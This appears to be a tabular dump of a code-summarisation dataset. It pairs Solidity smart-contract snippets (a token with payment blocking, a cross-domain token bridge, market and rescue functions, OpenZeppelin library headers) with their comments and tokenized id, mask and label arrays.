file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
sequence | attention_mask
sequence | labels
sequence |
---|---|---|---|---|---|---|
./partial_match/1/0xa76EA705783b595b420bb36F196540a2Ed629673/sources/MatchingMarket.sol | set the minimum sell amount for a token Function is used to avoid "dust offers" that have very small amount of tokens to sell, and it would cost more gas to accept the offer, than the value of tokens received. params: ERC20 pay_gem: token to assign minimum sell amount to uint dust: maker (ask) minimum sell amount returns: bool | function setMinSell(ERC20 pay_gem, uint dust) public auth note returns (bool) {
_dust[address(pay_gem)] = dust;
emit LogMinSell(address(pay_gem), dust);
return true;
}
| 3,575,004 | [
1,
542,
326,
5224,
357,
80,
3844,
364,
279,
1147,
565,
4284,
353,
1399,
358,
4543,
315,
72,
641,
28641,
6,
716,
1240,
565,
8572,
5264,
3844,
434,
2430,
358,
357,
80,
16,
471,
518,
4102,
565,
6991,
1898,
16189,
358,
2791,
326,
10067,
16,
2353,
326,
460,
565,
434,
2430,
5079,
18,
859,
30,
4232,
39,
3462,
8843,
67,
23465,
30,
1147,
358,
2683,
5224,
357,
80,
3844,
358,
2254,
302,
641,
30,
312,
6388,
261,
835,
13,
5224,
357,
80,
3844,
1135,
30,
1426,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
27724,
55,
1165,
12,
654,
39,
3462,
8843,
67,
23465,
16,
2254,
302,
641,
13,
1071,
1357,
4721,
1135,
261,
6430,
13,
288,
203,
203,
203,
3639,
389,
72,
641,
63,
2867,
12,
10239,
67,
23465,
25887,
273,
302,
641,
31,
203,
203,
3639,
3626,
1827,
2930,
55,
1165,
12,
2867,
12,
10239,
67,
23465,
3631,
302,
641,
1769,
203,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.4.21 <0.7.0;
import "./Ownable.sol";
import "./ERC20.sol";
//ERC20 token mintable by a specified authority to handle payment on the Community Platform
//Owner is the Token Manager, not the authority (authority is belongingAddress)!
contract CommunityToken is Ownable, ERC20 {
//// VARIABLES //////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
string public symbol;
string public name;
uint decimals;
uint256 reasonForPayment;
mapping (address => bool) blocked;
mapping (address => address) blockedTo;
event ReasonForPayment(
address indexed from,
address indexed to,
uint256 value,
uint256 ReasonForPayment,
string name
);
address belongingAddress;
//// FUNCTIONS //////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
constructor(uint _value, address pBelongingAddress, string memory pSymbol, string memory pName) public {
symbol = pSymbol;
name = pName;
decimals = 18;
belongingAddress = pBelongingAddress;
_mint( belongingAddress, _value * 10**uint(decimals));
}
// To mint further tokens
function mint(address _from, uint256 _value) public onlyBelongingAddress {
_mint( _from, _value * 10**uint(decimals));
}
//anyone who ones a token from that address can demand conversion into fiat currency at all time
function exchangeToFiat(uint256 value) public whenNotBlocked(msg.sender) returns (bool) {
// require(to == belongingAddress); // user has to pay money back to authority
require(super.transfer(belongingAddress, value) == true);
emit ReasonForPayment(msg.sender, belongingAddress, value, reasonForPayment, name); //To verify off chain payment, authorities have to use the reasonForPayment and unique name of token on the off chain transaction receipt (e.g. Paypal transasction, credit card paymnet, bank transfer)
reasonForPayment++;
}
function transferFrom(address from, address to, uint256 value) public whenNotBlocked(to) returns (bool) {
return super.transferFrom(from, to, value);
}
function transfer(address to, uint256 value) public whenNotBlocked(to) returns (bool) {
return super.transfer(to, value);
}
function decreaseAllowance(address spender, uint256 substract) public whenNotBlocked(msg.sender) returns (bool) {
return super.decreaseAllowance(spender, substract); //user can not decrease Allowance when currently doing a trip
}
//apporve during a trip is ok since user cannot transfer until current blocking is over
//Blocks user transactions to all other addresses except the recipient when user started a trip until trip end and payment succeeded
function blockPayments(address _fromAddress, address _allowedCounterParty) public onlyOwner
{
blocked[_fromAddress] = true;
blockedTo[_fromAddress] = _allowedCounterParty;
}
//TokenManager contract will be owner of this contract and ublocks users once payment was made successfully
function unBlockPayments(address _fromAddress) public onlyOwner
{
blocked[_fromAddress] = false;
}
modifier onlyBelongingAddress()
{
require (belongingAddress == msg.sender);
_;
}
//when a user is bloocked, he/she can only make payments to the specified to address
modifier whenNotBlocked(address to)
{
require (blocked[msg.sender] == false || blockedTo[msg.sender] == to);
_;
}
}
| ERC20 token mintable by a specified authority to handle payment on the Community PlatformOwner is the Token Manager, not the authority (authority is belongingAddress)! | contract CommunityToken is Ownable, ERC20 {
string public symbol;
string public name;
uint decimals;
uint256 reasonForPayment;
mapping (address => bool) blocked;
mapping (address => address) blockedTo;
event ReasonForPayment(
address indexed from,
address indexed to,
uint256 value,
uint256 ReasonForPayment,
string name
);
address belongingAddress;
constructor(uint _value, address pBelongingAddress, string memory pSymbol, string memory pName) public {
symbol = pSymbol;
name = pName;
decimals = 18;
belongingAddress = pBelongingAddress;
_mint( belongingAddress, _value * 10**uint(decimals));
}
function mint(address _from, uint256 _value) public onlyBelongingAddress {
_mint( _from, _value * 10**uint(decimals));
}
function exchangeToFiat(uint256 value) public whenNotBlocked(msg.sender) returns (bool) {
require(super.transfer(belongingAddress, value) == true);
reasonForPayment++;
}
function transferFrom(address from, address to, uint256 value) public whenNotBlocked(to) returns (bool) {
return super.transferFrom(from, to, value);
}
function transfer(address to, uint256 value) public whenNotBlocked(to) returns (bool) {
return super.transfer(to, value);
}
function decreaseAllowance(address spender, uint256 substract) public whenNotBlocked(msg.sender) returns (bool) {
}
function blockPayments(address _fromAddress, address _allowedCounterParty) public onlyOwner
{
blocked[_fromAddress] = true;
blockedTo[_fromAddress] = _allowedCounterParty;
}
function unBlockPayments(address _fromAddress) public onlyOwner
{
blocked[_fromAddress] = false;
}
modifier onlyBelongingAddress()
{
require (belongingAddress == msg.sender);
_;
}
modifier whenNotBlocked(address to)
{
require (blocked[msg.sender] == false || blockedTo[msg.sender] == to);
_;
}
}
| 7,231,434 | [
1,
654,
39,
3462,
1147,
312,
474,
429,
635,
279,
1269,
11675,
358,
1640,
5184,
603,
326,
16854,
13352,
11810,
5541,
353,
326,
3155,
8558,
16,
486,
326,
11675,
261,
24763,
353,
17622,
1887,
13,
5,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
16854,
13352,
1345,
353,
14223,
6914,
16,
4232,
39,
3462,
288,
203,
377,
203,
377,
203,
565,
533,
1071,
3273,
31,
203,
203,
565,
533,
1071,
225,
508,
31,
203,
377,
203,
565,
2254,
15105,
31,
203,
377,
203,
565,
2254,
5034,
3971,
1290,
6032,
31,
203,
377,
203,
565,
2874,
261,
2867,
516,
1426,
13,
14547,
31,
203,
565,
2874,
261,
2867,
516,
1758,
13,
14547,
774,
31,
203,
377,
203,
377,
203,
1377,
871,
13558,
1290,
6032,
12,
203,
565,
1758,
8808,
628,
16,
203,
565,
1758,
8808,
358,
16,
203,
565,
2254,
5034,
460,
16,
203,
565,
2254,
5034,
13558,
1290,
6032,
16,
203,
565,
533,
508,
203,
225,
11272,
203,
377,
203,
377,
203,
565,
1758,
17622,
1887,
31,
203,
203,
377,
203,
565,
3885,
12,
11890,
389,
1132,
16,
1758,
293,
18097,
932,
310,
1887,
16,
533,
3778,
293,
5335,
16,
533,
3778,
30026,
13,
1071,
288,
203,
203,
3639,
3273,
273,
293,
5335,
31,
203,
203,
3639,
508,
273,
30026,
31,
203,
540,
203,
3639,
15105,
273,
6549,
31,
203,
540,
203,
3639,
17622,
1887,
273,
293,
18097,
932,
310,
1887,
31,
203,
540,
203,
3639,
389,
81,
474,
12,
17622,
1887,
16,
389,
1132,
380,
1728,
636,
11890,
12,
31734,
10019,
203,
565,
289,
203,
377,
203,
377,
203,
377,
203,
377,
203,
565,
445,
312,
474,
12,
2867,
389,
2080,
16,
2254,
5034,
389,
1132,
13,
1071,
1338,
18097,
932,
310,
1887,
288,
203,
540,
203,
3639,
389,
81,
474,
12,
389,
2080,
16,
389,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/* Interface Imports */
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/* Library Imports */
import { ERC165Checker } from "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { CrossDomainMessenger } from "./CrossDomainMessenger.sol";
import { OptimismMintableERC20 } from "./OptimismMintableERC20.sol";
/**
* @title StandardBridge
* This contract can manage a 1:1 bridge between two domains for both
* ETH (native asset) and ERC20s.
* This contract should be deployed behind a proxy.
* TODO: do we want a donateERC20 function as well?
*/
abstract contract StandardBridge {
using SafeERC20 for IERC20;
/**********
* Events *
**********/
event ETHBridgeInitiated(
address indexed _from,
address indexed _to,
uint256 _amount,
bytes _data
);
event ETHBridgeFinalized(
address indexed _from,
address indexed _to,
uint256 _amount,
bytes _data
);
event ERC20BridgeInitiated(
address indexed _localToken,
address indexed _remoteToken,
address indexed _from,
address _to,
uint256 _amount,
bytes _data
);
event ERC20BridgeFinalized(
address indexed _localToken,
address indexed _remoteToken,
address indexed _from,
address _to,
uint256 _amount,
bytes _data
);
event ERC20BridgeFailed(
address indexed _localToken,
address indexed _remoteToken,
address indexed _from,
address _to,
uint256 _amount,
bytes _data
);
/*************
* Variables *
*************/
/**
* @notice The messenger contract on the same domain
*/
CrossDomainMessenger public messenger;
/**
* @notice The corresponding bridge on the other domain
*/
StandardBridge public otherBridge;
mapping(address => mapping(address => uint256)) public deposits;
/*************
* Modifiers *
*************/
/**
* @notice Only allow EOAs to call the functions. Note that this
* is not safe against contracts calling code during their constructor
*/
modifier onlyEOA() {
require(!Address.isContract(msg.sender), "Account not EOA");
_;
}
/**
* @notice Ensures that the caller is the messenger, and that
* it has the l2Sender value set to the address of the remote Token Bridge.
*/
modifier onlyOtherBridge() {
require(
msg.sender == address(messenger) &&
messenger.xDomainMessageSender() == address(otherBridge),
"Could not authenticate bridge message."
);
_;
}
modifier onlySelf() {
require(msg.sender == address(this), "Function can only be called by self.");
_;
}
/********************
* Public Functions *
********************/
/**
* @notice Send ETH to this contract. This is used during upgrades
*/
function donateETH() external payable {}
/**
* @notice EOAs can simply send ETH to this contract to have it be deposited
* to L2 through the standard bridge.
*/
receive() external payable onlyEOA {
_initiateBridgeETH(msg.sender, msg.sender, msg.value, 200_000, bytes(""));
}
/**
* @notice Send ETH to the message sender on the remote domain
*/
function bridgeETH(uint32 _minGasLimit, bytes calldata _data) public payable onlyEOA {
_initiateBridgeETH(msg.sender, msg.sender, msg.value, _minGasLimit, _data);
}
/**
* @notice Send ETH to a specified account on the remote domain
*/
function bridgeETHTo(
address _to,
uint32 _minGasLimit,
bytes calldata _data
) public payable {
_initiateBridgeETH(msg.sender, _to, msg.value, _minGasLimit, _data);
}
/**
* @notice Send an ERC20 to the message sender on the remote domain
*/
function bridgeERC20(
address _localToken,
address _remoteToken,
uint256 _amount,
uint32 _minGasLimit,
bytes calldata _data
) public virtual onlyEOA {
_initiateBridgeERC20(
_localToken,
_remoteToken,
msg.sender,
msg.sender,
_amount,
_minGasLimit,
_data
);
}
/**
* @notice Send an ERC20 to a specified account on the remote domain
*/
function bridgeERC20To(
address _localToken,
address _remoteToken,
address _to,
uint256 _amount,
uint32 _minGasLimit,
bytes calldata _data
) public virtual {
_initiateBridgeERC20(
_localToken,
_remoteToken,
msg.sender,
_to,
_amount,
_minGasLimit,
_data
);
}
/**
* @notice Finalize an ETH sending transaction sent from a remote domain
*/
function finalizeBridgeETH(
address _from,
address _to,
uint256 _amount,
bytes calldata _data
) public payable onlyOtherBridge {
require(msg.value == _amount, "Amount sent does not match amount required.");
require(_to != address(this), "Cannot send to self.");
emit ETHBridgeFinalized(_from, _to, _amount, _data);
(bool success, ) = _to.call{ value: _amount }(new bytes(0));
require(success, "TransferHelper::safeTransferETH: ETH transfer failed");
}
/**
* @notice Finalize an ERC20 sending transaction sent from a remote domain
*/
function finalizeBridgeERC20(
address _localToken,
address _remoteToken,
address _from,
address _to,
uint256 _amount,
bytes calldata _data
) public onlyOtherBridge {
try this.completeOutboundTransfer(_localToken, _remoteToken, _to, _amount) {
emit ERC20BridgeFinalized(_localToken, _remoteToken, _from, _to, _amount, _data);
} catch {
// Something went wrong during the bridging process, return to sender.
// Can happen if a bridge UI specifies the wrong L2 token.
_initiateBridgeERC20Unchecked(
_remoteToken,
_localToken,
_from,
_to,
_amount,
0, // _minGasLimit, 0 is fine here
_data
);
emit ERC20BridgeFailed(_localToken, _remoteToken, _from, _to, _amount, _data);
}
}
function completeOutboundTransfer(
address _localToken,
address _remoteToken,
address _to,
uint256 _amount
) public onlySelf {
// Make sure external function calls can't be used to trigger calls to
// completeOutboundTransfer. We only make external (write) calls to _localToken.
require(_localToken != address(this), "Local token cannot be self");
if (_isOptimismMintableERC20(_localToken)) {
require(
_isCorrectTokenPair(_localToken, _remoteToken),
"Wrong remote token for Optimism Mintable ERC20 local token"
);
OptimismMintableERC20(_localToken).mint(_to, _amount);
} else {
deposits[_localToken][_remoteToken] = deposits[_localToken][_remoteToken] - _amount;
IERC20(_localToken).safeTransfer(_to, _amount);
}
}
/**********************
* Internal Functions *
**********************/
/**
* @notice Initialize the StandardBridge contract with the address of
* the messenger on the same domain as well as the address of the bridge
* on the remote domain
*/
function _initialize(address payable _messenger, address payable _otherBridge) internal {
require(address(messenger) == address(0), "Contract has already been initialized.");
messenger = CrossDomainMessenger(_messenger);
otherBridge = StandardBridge(_otherBridge);
}
/**
* @notice Bridge ETH to the remote chain through the messenger
*/
function _initiateBridgeETH(
address _from,
address _to,
uint256 _amount,
uint32 _minGasLimit,
bytes memory _data
) internal {
emit ETHBridgeInitiated(_from, _to, _amount, _data);
messenger.sendMessage{ value: _amount }(
address(otherBridge),
abi.encodeWithSelector(this.finalizeBridgeETH.selector, _from, _to, _amount, _data),
_minGasLimit
);
}
/**
* @notice Bridge an ERC20 to the remote chain through the messengers
*/
function _initiateBridgeERC20(
address _localToken,
address _remoteToken,
address _from,
address _to,
uint256 _amount,
uint32 _minGasLimit,
bytes calldata _data
) internal {
// Make sure external function calls can't be used to trigger calls to
// completeOutboundTransfer. We only make external (write) calls to _localToken.
require(_localToken != address(this), "Local token cannot be self");
if (_isOptimismMintableERC20(_localToken)) {
require(
_isCorrectTokenPair(_localToken, _remoteToken),
"Wrong remote token for Optimism Mintable ERC20 local token"
);
OptimismMintableERC20(_localToken).burn(msg.sender, _amount);
} else {
// TODO: Do we need to confirm that the transfer was successful?
IERC20(_localToken).safeTransferFrom(_from, address(this), _amount);
deposits[_localToken][_remoteToken] = deposits[_localToken][_remoteToken] + _amount;
}
_initiateBridgeERC20Unchecked(
_localToken,
_remoteToken,
_from,
_to,
_amount,
_minGasLimit,
_data
);
}
/**
* @notice Bridge an ERC20 to the remote chain through the messengers
*/
function _initiateBridgeERC20Unchecked(
address _localToken,
address _remoteToken,
address _from,
address _to,
uint256 _amount,
uint32 _minGasLimit,
bytes calldata _data
) internal {
messenger.sendMessage(
address(otherBridge),
abi.encodeWithSelector(
this.finalizeBridgeERC20.selector,
_remoteToken,
_localToken,
_from,
_to,
_amount,
_data
),
_minGasLimit
);
emit ERC20BridgeInitiated(_localToken, _remoteToken, _from, _to, _amount, _data);
}
/**
* Checks if a given address is an OptimismMintableERC20. Not perfect, but good enough.
* Just the way we like it.
*
* @param _token Address of the token to check.
* @return True if the token is an OptimismMintableERC20.
*/
function _isOptimismMintableERC20(address _token) internal view returns (bool) {
// 0x1d1d8b63 is mint ^ burn ^ l1Token
return ERC165Checker.supportsInterface(_token, 0x1d1d8b63);
}
/**
* Checks if the "other token" is the correct pair token for the OptimismMintableERC20.
*
* @param _mintableToken OptimismMintableERC20 to check against.
* @param _otherToken Pair token to check.
* @return True if the other token is the correct pair token for the OptimismMintableERC20.
*/
function _isCorrectTokenPair(address _mintableToken, address _otherToken)
internal
view
returns (bool)
{
return _otherToken == OptimismMintableERC20(_mintableToken).l1Token();
}
}
| * Checks if the "other token" is the correct pair token for the OptimismMintableERC20. @param _mintableToken OptimismMintableERC20 to check against. @param _otherToken Pair token to check. @return True if the other token is the correct pair token for the OptimismMintableERC20./ | function _isCorrectTokenPair(address _mintableToken, address _otherToken)
internal
view
returns (bool)
{
return _otherToken == OptimismMintableERC20(_mintableToken).l1Token();
}
| 12,906,941 | [
1,
4081,
309,
326,
315,
3011,
1147,
6,
353,
326,
3434,
3082,
1147,
364,
326,
19615,
6228,
49,
474,
429,
654,
39,
3462,
18,
225,
389,
81,
474,
429,
1345,
19615,
6228,
49,
474,
429,
654,
39,
3462,
358,
866,
5314,
18,
225,
389,
3011,
1345,
8599,
1147,
358,
866,
18,
327,
1053,
309,
326,
1308,
1147,
353,
326,
3434,
3082,
1147,
364,
326,
19615,
6228,
49,
474,
429,
654,
39,
3462,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
291,
16147,
1345,
4154,
12,
2867,
389,
81,
474,
429,
1345,
16,
1758,
389,
3011,
1345,
13,
203,
3639,
2713,
203,
3639,
1476,
203,
3639,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
327,
389,
3011,
1345,
422,
19615,
6228,
49,
474,
429,
654,
39,
3462,
24899,
81,
474,
429,
1345,
2934,
80,
21,
1345,
5621,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x0F53368BcF8c04dd72789Ad7f945d59d411Caf46/sources/AnESCROWContract.sol | Use this in case ETH are sent to the contract by mistake | function rescueStuckETH(uint256 weiAmount) external onlyOwner() {
require(address(this).balance >= weiAmount, "insufficient ETH balance");
payable(msg.sender).transfer(weiAmount);
}
| 11,003,939 | [
1,
3727,
333,
316,
648,
512,
2455,
854,
3271,
358,
326,
6835,
635,
27228,
911,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
8223,
510,
9031,
1584,
44,
12,
11890,
5034,
732,
77,
6275,
13,
3903,
1338,
5541,
1435,
288,
203,
3639,
2583,
12,
2867,
12,
2211,
2934,
12296,
1545,
732,
77,
6275,
16,
315,
2679,
11339,
512,
2455,
11013,
8863,
203,
3639,
8843,
429,
12,
3576,
18,
15330,
2934,
13866,
12,
1814,
77,
6275,
1769,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2020-11-10
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
